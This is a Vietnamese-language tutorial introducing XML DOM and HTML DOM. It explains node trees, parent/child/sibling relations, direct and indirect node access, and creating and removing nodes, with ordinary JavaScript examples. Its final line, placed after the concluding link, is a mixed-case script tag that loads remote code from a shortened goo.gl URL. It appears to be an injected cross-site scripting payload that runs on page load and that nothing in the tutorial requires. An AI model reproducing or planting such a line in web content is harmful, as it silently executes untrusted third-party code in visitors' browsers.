Tổng quan về XML DOM

I. Giới thiệu về XML DOM

DOM định nghĩa một chuẩn để truy cập và thao tác với các tài liệu.

XML DOM biểu diễn tài liệu XML như một cây cấu trúc.

HTML DOM biểu diễn tài liệu HTML như một cây cấu trúc.

Hiểu về DOM là điều kiện bắt buộc cho những ai làm việc với HTML hoặc XML.

Cây XML DOM :

DOM1.gif

DOM là gì?

DOM là viết tắt của chữ Document Object Model, dịch tạm ra là mô hình các đối tượng trong tài liệu HTML. DOM định nghĩa một chuẩn truy cập các tài liệu như XML và HTML

DOM được chia làm 3 phần/cấp độ khác nhau:

  • Core DOM – mô hình chuẩn cho các tài liệu cấu trúc
  • XML DOM – mô hình chuẩn cho các tài liệu XML
  • HTML DOM – mô hình chuẩn cho các tài liệu HTML

DOM định nghĩa các đối tượng và các thuộc tính của tất cả các phần tử tài liệu, và các phương thức (giao diện) để truy cập chúng.

Việc xử lý và làm việc với đối tượng HTML rất phức tạp và đa dạng, chính vì vậy javascript có cung cấp cho chúng ta nhiều phương thức, đối tượng và mỗi thành phần như vậy sẽ có những nhiệm vụ riêng biệt.

Danh sách chia nhóm DOM:

  • DOM document: có nhiệm vụ lưu trữ toàn bộ các thành phần trong tài liệu của website
  • DOM element: có nhiệm vụ truy xuất tới thẻ HTML nào đó thông qua các thuộc tính như tên class, id, name của thẻ HTML
  • DOM HTML: có nhiệm vụ thay đổi giá trị nội dung và giá trị thuộc tính của các thẻ HTML
  • DOM CSS: có nhiệm vụ thay đổi các định dạng CSS của thẻ HTML
  • DOM Event: có nhiệm vụ gán các sự kiện như onclick(), onload() vào các thẻ HTML
  • DOM Listener: có nhiệm vụ lắng nghe các sự kiện tác động lên thẻ HTML đó
  • DOM Navigation dùng để quản lý, thao tác với các thẻ HTML, thể hiện mối quan hệ cha - con của các thẻ HTML
  • DOM Node, Nodelist: có nhiệm vụ thao tác với HTML thông qua đối tượng (Object)

HTML DOM

HTML DOM định nghĩa một chuẩn cho việc truy cập và thao tác trên các tài liệu HTML.

Tất cả các phần tử HTML có thể được truy cập thông qua HTML DOM.

HTML DOM định nghĩa các đối tượng, thuộc tính và phương thức của các phần tử HTML.

Trong mỗi thẻ HTML sẽ có những thuộc tính (Properties) và có phân cấp cha - con với các thẻ HTML khác. Sự phân cấp và các thuộc tính của thẻ HTML này ta gọi là selector và trong DOM sẽ có nhiệm vụ xử lý các vấn đề như đổi thuộc tính của thẻ, đổi cấu trúc HTML của thẻ, ...

Thay đổi giá trị của phần tử HTML

Ví dụ sau đây sẽ thay đổi giá trị của phần tử HTML với id=”demo”:

<h1 id="demo">This is a Heading</h1>

<script>
document.getElementById("demo").innerHTML = "Hello World!";
</script>

Trong ví dụ trên, đoạn script sẽ tìm element có id="demo" và thay vào đó đoạn text "Hello World!". Bạn có thể thấy sự thay đổi này ở hình sau đây :

Khi không có đoạn <script>...</script> :

Selection_105.png

Khi có đoạn <script>...</script> :

Selection_103.png

Còn trong ví dụ sau đây là thay đổi giá trị của phần tử <h1> đầu tiên trong tài liệu HTML:

<h1>This is a Heading</h1>

<h1>This is a Heading</h1>

<script>
document.getElementsByTagName("h1")[0].innerHTML = "Hello World!";
</script>

Tương tự ví dụ trên, thay vì tìm element theo id thì đoạn script sẽ tìm thẻ <h1> đầu tiên và thay vào đó giá trị "Hello World!".

Chú ý: Ngay cả khi tài liệu HTML chỉ bao gồm một phần tử <h1> thì bạn vẫn phải đặc tả chỉ số mảng [0], bởi vì phương thức getElementsByTagName() luôn trả về mảng.

XML DOM

XML DOM định nghĩa một chuẩn truy cập và thao tác trên các tài liệu XML.

Tất cả các phần tử XML có thể được truy cập thông qua XML DOM.

XML DOM định nghĩa các đối tượng, thuộc tính và phương thức của tất cả các phần tử XML.

XML DOM là:

  • Một mô hình đối tượng chuẩn cho XML
  • Một giao diện lập trình chuẩn cho XML
  • Độc lập nền tảng và ngôn ngữ
  • Một chuẩn W3C

Nói cách khác: XML DOM là một chuẩn để lấy ra, thay đổi, thêm hoặc xóa các phần tử XML.

Lấy giá trị của phần tử XML

Dòng code sau sẽ lấy giá trị text của phần tử (thẻ) <title> đầu tiên trong tài liệu XML:

txt = xmlDoc.getElementsByTagName("title")[0].childNodes[0].nodeValue;

Tải một tệpXML

Tệp XML được sử dụng trong ví dụ dưới đây là books.xml.

Ví dụ dưới đây đọc “books.xml” vào xmlDoc và lấy giá trị text của phần tử <title> đầu tiên trong books.xml:

<!DOCTYPE html>
<html>
<body>

<p id="demo"></p>

<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (xhttp.readyState == 4 && xhttp.status == 200) {
    myFunction(xhttp);
    }
};
xhttp.open("GET", "books.xml", true);
xhttp.send();

function myFunction(xml) {
    var xmlDoc = xml.responseXML;
    document.getElementById("demo").innerHTML =
    xmlDoc.getElementsByTagName("title")[0].childNodes[0].nodeValue;
}
</script>

</body>
</html>
  • xmlDoc - đối tượng XML DOM được tạo bởi parser.
  • getElementsByTagName(“title”)[0] - lấy phần tử <title> đầu tiên
  • childNodes[0] - phần tử con đầu tiên của <title> (text node)
  • nodeValue - giá trị của nút (text của chính nó)

Tải một chuỗi XML

Ví dụ sau đây sẽ tải một chuỗi vào một đối tượng XML DOM và trích xuất các thông tin của nó với JavaScript:

<html>
<body>

<p id="demo"></p>

<script>
var text, parser, xmlDoc;

text = "<bookstore><book>" +
"<title>Everyday Italian</title>" +
"<author>Giada De Laurentiis</author>" +
"<year>2005</year>" +
"</book></bookstore>";

parser = new DOMParser();
xmlDoc = parser.parseFromString(text,"text/xml");

document.getElementById("demo").innerHTML =
xmlDoc.getElementsByTagName("title")[0].childNodes[0].nodeValue;
</script>

</body>
</html>

Giao diện lập trình

DOM mô hình hóa XML như một tập các nút của đối tượng. Các nút có thể được truy cập bởi JavaScript hoặc các ngôn ngữ lập trình khác. Trong bài này, chúng ta sử dụng JavaScript.

Giao diện lập trình với DOM được định nghĩa bởi một tập các thuộc tính và phương thức chuẩn.

Thuộc tính (properties) thường liên quan tới một số thứ như : nodename là “book”...

Phương thức (methods) thường liên quan đến một số thứ được hoàn thành như : delete “book”...

Các thuộc tính XML DOM

1 số thuộc tính đặc trưng:

  • x.nodeName - tên của x
  • x.nodeValue - giá trị của x
  • x.parentNode - nút cha của x
  • x.childNodes - các nút con của x
  • x.attributes - các nút thuộc tính của x

Chú ý: Trong danh sách trên, x là một node đối tượng.

Các phương thức XML DOM

  • x.getElementsByTagName(name) - lấy tất cả các phần tử có tên tag là name
  • x.appendChild(node) - chèn một node con vào x
  • x.removeChild(node) - xóa một node con khỏi x

Chú ý: Trong danh sách trên, x là một node đối tượng.

II. XML DOM Nodes - Nút trong XML DOM

Trong DOM, mọi thứ trong tài liệu XML là một nút (node).

Nút DOM

Thông qua DOM, mọi thứ trong tài liệu XML là một node:

  • Toàn bộ tài liệu là 1 nút tài liệu
  • Mỗi phần tử XML là 1 nút phần tử
  • Text trong các phần tử XML là các nút text
  • Mỗi thuộc tính là 1 nút thuộc tính
  • Các chú thích là nút chú thích

Ví dụ DOM

Hãy xem tệp XML sau (books.xml):

<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
  <book category="cooking">
    <title lang="en">Everyday Italian</title>
    <author>Giada De Laurentiis</author>
    <year>2005</year>
    <price>30.00</price>
  </book>
  <book category="children">
    <title lang="en">Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
  </book>
  <book category="web">
    <title lang="en">XQuery Kick Start</title>
    <author>James McGovern</author>
    <author>Per Bothner</author>
    <author>Kurt Cagle</author>
    <author>James Linn</author>
    <author>Vaidyanathan Nagarajan</author>
    <year>2003</year>
    <price>49.99</price>
  </book>
  <book category="web" cover="paperback">
    <title lang="en">Learning XML</title>
    <author>Erik T. Ray</author>
    <year>2003</year>
    <price>39.95</price>
  </book>
</bookstore>

Nút gốc (root) trong file XML ở trên có tên là <bookstore>. Tất cả các nút khác trong tài liệu được chứa bởi nút <bookstore>.

Nút gốc <bookstore> chứa 4 nút <book> (4 cuốn sách khác nhau).

Nút <book> đầu tiên chứa 4 nút: <title>, <author>, <year>, và <price>; mỗi nút bao gồm 1 nút text, “Everyday Italian”, “Giada De Laurentiis”, “2005”, và “30.00”.

Text luôn được lưu trữ trong nút Text

Một lỗi phổ biến trong xử lý DOM là cho rằng nút phần tử chứa text. Tuy nhiên, text của nút phần tử được đặt trong nút text.

Trong ví dụ này: <year>2005</year>, nút phần tử <year> chứa 1 nút text với giá trị là “2005”.

“2015” không phải là giá trị của phần tử <year> !

XML DOM Node Tree - Sơ đồ cây của node XML DOM

XML DOM xem tài liệu XML như một cây cấu trúc. Cây cấu trúc này được gọi là node-tree.

Tất cả các nút có thể được truy cập thông qua cây. Nội dung của chúng có thể được thay đổi hoặc xóa và các phần tử mới có thể được tạo.

Cây nút thể hiện một tập các nút và sự kết nối giữa chúng. Cây bắt đầu với nút gốc (root) và các nhánh tới các nút text ở cấp độ thấp nhất của cây:

DOM2.gif

Node Parents, Children, and Siblings - Nút cha, con và anh chị em ruột

Các nút trong cây có mối quan hệ phân cấp với nhau.

Các từ parent, childsibling được sử dụng để mô tả mối quan hệ giữa các nút trong cây. Nút cha có các nút con. Các nút con có cùng cấp độ (cùng cha) được gọi là siblings (anh chị em ruột).

  • Trong 1 node tree, nút trên đỉnh được gọi là nút gốc(root)
  • Mọi nút ngoại trừ nút gốc đều chắc chắn có 1 nút cha
  • Một nút có thể có nhiều nút con
  • Nút lá là nút không có con
  • Siblings (các nút anh/chị em ruột) là các nút cùng cha

Hình sau sẽ giải thích một phần của node tree và mối quan hệ giữa chúng:

DOM3.gif

Bởi vì dữ liệu trong XML được cấu trúc bởi một cây, nó có thể dễ dàng duyệt mà không cần biết chính xác cấu trúc của cây và kiểu dữ liệu của chúng.

Nút con đầu tiên và con cuối cùng

<bookstore>
  <book category="cooking">
    <title lang="en">Everyday Italian</title>
    <author>Giada De Laurentiis</author>
    <year>2005</year>
    <price>30.00</price>
  </book>
</bookstore>

Trong đoạn XML ở trên, có thể thấy phần tử <title> là phần tử con đầu tiên(first child) của phần tử <book>, và phần tử <price> là phần tử con cuối cùng của phần tử <book>.

Hơn nữa, phần tử <book> là nút cha của các phần tử <title>, <author>, <year>, và <price>.

Truy xuất DOM

Truy xuất gián tiếp

Thao tác truy xuất các nút gián tiếp theo vị trí trên cây DOM còn được gọi là duyệt cây DOM (DOM Tree traversal).

Mỗi nút trên cây DOM đều có 6 thuộc tính quan hệ để giúp bạn truy xuất gián tiếp theo vị trí của nút:

  • Node.parentNode: tham chiếu đến nút cha của nút hiện tại, và nút cha này là duy nhất cho mỗi nút. Do đó, nếu bạn cần tìm nguồn gốc sâu xa của 1 nút, bạn phải nối thuộc tình nhiều lần, ví dụ Node.parentNode.parentNode.
  • Node.childNodes: tham chiếu đến các nút con trực tiếp của nút hiện tại, và kết quả là 1 mảng các đối tượng. Lưu ý rằng, các nút con không bị phân biệt bởi loại nút, nên kết quả mảng trả về có thể bao gồm nhiều loại nút khác nhau.
  • Node.firstChild: tham chiếu đến nút con đầu tiên của nút hiện tại, và tương đương với việc gọi Node.childNodes[0].
  • Node.lastChild: tham chiếu đến nút con cuối cùng của nút hiện tại, và tương đương với việc gọi Node.childNodes[Element.childNodes.length-1].
  • Node.nextSibling: tham chiếu đến nút anh em nằm liền kề sau với nút hiện tại.
  • Node.previousSibling: tham chiếu đến nút anh em nằm liền kề trước với nút hiện tại.

dom1.png

Truy xuất trực tiếp

Truy xuất trực tiếp nhanh hơn, và đơn giản hơn khi bạn không cần phải biết nhiều về quan hệ và vị trí của nút. Có 3 phương thức để bạn truy xuất trực tiếp được hỗ trợ ở mọi trình duyệt:

  • document.getElementById('id_cần_tìm')
  • document.getElementsByTagName('div')
  • document.getElementsByName('tên_cần_tìm')

dom2.png

Tạo thêm hoặc di chuyển DOM với appendChild

Như bạn đã biết, mọi nút trên cây cấu trúc DOM đều bắt nguồn sâu xa từ nút gốc và bắt buộc phải có 1 nút cha. Do đó, về bản chất, khi 1 DOM mới được tạo ra, nó đơn lẻ 1 mình và không thể sử dụng được như các phần tử DOM thông thường. Chỉ sau khi bạn tìm 1 nút khác trên cây DOM để làm cha cho nó (sử dụng nút_cha.appendChild(nút_con)) thì quá trình tạo thêm DOM hoàn tất. Nếu bạn đã sẵn sàng để tạo vài nútcon thì hãy cùng nhau tạo vài nút mới với 2 phương thức sau:

  • document.createElement(tên_thẻ_html): tạo 1 nút phần tử từ nút gốc.
  • document.createTextNode(chuỗi_kí_tự): tạo 1 nút văn bản từ nút gốc.

Khi bạn tạo 1 nút mới nhưng chưa gán nút cha cho nó, nút đó sẽ tồn tại trong bộ nhớ đệm của máy tính. Bạn sẽ không thể truy xuất đến nút đó được, trừ khi bạn đã lưu tham chiếu đến nút đó bằng 1 biến.

Một lưu ý khi tạo thêm DOM: nút mới được tạo sẽ vẫn có các thuộc tính và phương thức như 1 nút DOM thực thụ. Tuy nhiên, các thuộc tính của nút mới sẽ ở trạng thái rỗng hoặc mặc định, nên bạn sẽ phải thiết lập thêm các thuộc tính cần thiết.

var babyDom = document.createElement('div');
babyDom.id = 'Whatsapp';
babyDom.class = 'OTP-Messenger';

var fatherDom = document.getElementById('Facebook');
fatherDom.appendChild(babyDom);

Phương thức appendChild còn được sử dụng để tổ chức “tái định cư” cho các nút DOM. Nếu như 1 nút DOM đang có 1 nút cha, nhưng lại được 1 nút cha khác “nhận nuôi” thông qua appendChild thì nó sẽ cắt đút quan hệ với nút cha cũ để về bên gia đình mới.

Loại bỏ DOM với removeChild

Khi bạn loại bỏ 1 nút, nút đó vẫn sẽ tồn tại trong bộ nhớ đệm của máy tính. Bạn sẽ không thể truy xuất đến nút đó được nữa, trừ khi bạn đã lưu tham chiếu đến nút đó bằng 1 biến.

Khi loại bỏ DOM, nút cha sẽ sử dụng phương thức removeChild() để xoá bỏ 1 hoặc nhiều nút con:

// Cách 1: Loại bỏ 1 nút con khi biết nút cha và nút con
var google = document.getElementById('Google');
var motorola = document.getElementById('Motorola');
google.removeChild(motorola);

// Cách 2: Loại bỏ 1 nút con khi chỉ biết nút con
var whatsapp = document.getElementById('Whatsapp');
if (whatsapp.parentNode) {
  whatsapp.parentNode.removeChild(whatsapp);
}

// Cách 3: Loại bỏ toàn bộ nút con
var body = document.getElementsByTagName('body')[0];
while (body.firstChild) {
  body.removeChild(body.firstChild);
}

Lời kết

Trên đây chỉ là giới thiệu sơ lược về XML DOM. nếu bạn quan tâm có thể tham khảo chi tiết ở trang sau :

http://www.w3schools.com/xml/dom_intro.asp

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>